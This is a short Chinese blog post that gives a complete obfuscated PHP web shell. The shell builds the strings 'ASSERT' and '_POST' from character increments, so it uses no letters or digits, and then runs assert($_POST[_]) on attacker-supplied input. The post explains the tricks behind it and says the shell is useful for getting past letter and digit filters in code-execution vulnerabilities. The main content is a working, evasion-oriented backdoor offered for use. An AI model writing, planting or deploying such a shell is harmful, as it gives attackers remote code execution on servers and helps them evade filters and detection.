php无数字字母shell
2018-10-14 本文已影响8人
身自在
一 利用php的自增
<?php
$_=[];
$_="$_";
$_=$_["!"=="@"]; //$_="A";
$__=$_; //$__="A";
$_++;$_++;$_++;$_++;
$____=$_; "E";
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$________=$_; "O";
$_++;
$_______=$_; "P";
$_++;$_++;
$_____=$_; "R";
$_++;
$___=$_; "S";
$_++;
$______=$_; "T";
$_=$__.$___.$___.$____.$_____.$______; //ASSERT
$__='_'.$_______.$________.$___.$______; //string(5) "_POST"
$__=$$__; // array $_POST
$_($__[_]); //ASSERT($_POST[_]);
?>
![](https://img.haomeiwen.com/i1011862/89df0d00924f4617.png)
知识点:
1.php在将数组强制转换为字符串的值为 "ARRAY"
![](https://img.haomeiwen.com/i1011862/dc0a521085bdf7a8.png)
2.php的自增
![](https://img.haomeiwen.com/i1011862/d15acb84ef35feb2.png)
3.php中的GET,POST,REQUEST,COOKIE等字符串转全局数组
![](https://img.haomeiwen.com/i1011862/fef6482ff424c102.png)
有一个注意点就是当shell中使用eval函数时,将字符串作为php代码来运行,必须以分号结尾,所以这里用的assert。
这种shell不一定免杀,但是在某些情况下却可以起到用武之地,例如某些代码执行的漏洞中过滤了字母数字.